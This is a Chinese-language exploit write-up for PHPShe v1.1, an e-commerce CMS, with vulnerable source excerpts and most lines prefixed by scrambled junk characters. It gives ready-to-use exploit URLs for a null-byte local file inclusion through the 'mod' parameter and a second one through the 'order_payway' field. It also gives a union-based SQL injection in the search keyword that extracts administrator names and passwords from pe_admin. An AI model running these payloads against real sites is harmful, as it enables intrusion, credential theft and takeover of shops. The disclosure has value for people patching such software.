phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
# b- S' Q6 R7 O( D$ q/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
9 \5 F  K8 f8 E( ~* a/* E-Mail : 681796@qq.com
/*******************************************************/
8 E, h& @0 H: {, R& a2 Z0×00 整体大概参数传输



5 E$ t! _! ~& z9 t2 E, A" ?//common.php
2 k/ H; W7 H" B. g$ M/ G8 C$ zif (get_magic_quotes_gpc()) {
, B6 S/ ]* f' _+ L% t!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
! A5 q. U; A$ E6 {& K}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞

. L) }% P. ?( P" @
2 B9 k+ |8 M9 d//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
6 s, W* |8 s. _include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
: j* m5 \& n5 `1 f1 c1 D, p4 p5 O4 [pe_result();
' m6 D' u' k  g?>
5 h" y  q4 o/ [( A//common 文件 第15行开始
. U7 P! Y% g; j$ e( z# z" Y7 Yurl路由配置
$module = $mod = $act = 'index';
1 ~. H  O2 O$ x& {) O7 ~/ z$ M$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
9 X& r) P& f3 L, W: I' o" Z$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入

( j6 ?& E' j* O8 t3 Q; t- K<code id="code2">

//product.php文件
$ R( Z9 _; j4 j7 w# t+ D5 _3 rcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
" R2 P; T# o% E; xwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
) X1 w$ B) @& p; E$orderby = explode('_', $_g_orderby);
8 j6 A9 \7 e" d0 x$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
  ^' K" K8 n5 P# belse {
% w8 U( F$ H0 u0 Z9 K8 b" R$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
- ^, D$ v3 o( C: `//热卖排行
$product_hotlist = product_hotlist();
: `+ E& T) F" q& I1 ]& w0 i3 K//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
2 i- b+ Q5 b# |: c) o0 u//跟进selectall函数库
- z2 n0 o' k9 e/ gpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
/ h7 ~% A8 \7 D6 g//处理条件语句
$sqlwhere = $this->_dowhere($where);
) s) Y, S5 `7 r- |; e, p' Zreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
# r4 Z9 e' w7 b3 m6 p2 R}
9 h1 V5 Y/ \* [) A/ c5 X# I//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

" G$ P9 I# h1 D. U7 k' e8 `0×03 包含漏洞2
: ?: C9 U- y$ D* k$ \" g
" V5 y3 I7 n2 b8 w, h<code id="code3">

//order.php

case 'pay':

, m5 ?' R& y8 b. X/ m' s$order_id = pe_dbhold($_g_id);

) h" q  z" ?8 d( z& Z. P$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

# h) l% f* S* l/ t& C) r$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

& h% M* y% o; r5 Z% oif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

5 ]$ w& e5 Z' m* T1 ^}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

% t& g' O9 I4 }+ y: Jif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

' O$ {( F9 c8 C& o$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

6 a% Z+ G% r) J! P' ~foreach ($info_list as $v) {

( w6 ^& p% [6 ]# I# |$order['order_name'] .= "{$v['product_name']};";
/ |, d( }8 e( B

1 A, Z  f4 A: }! y4 P}

& v% F2 f, U+ \" R5 a9 b7 G6 A) Cecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

1 B0 X8 z" S" x! P$ {% D  `else {

$ W4 k; I  }4 {8 w1 xpe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

6 p+ B% S' i( A7 Y) K# ginclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
: h3 I/ M+ C- f& {" t6 _+ @: p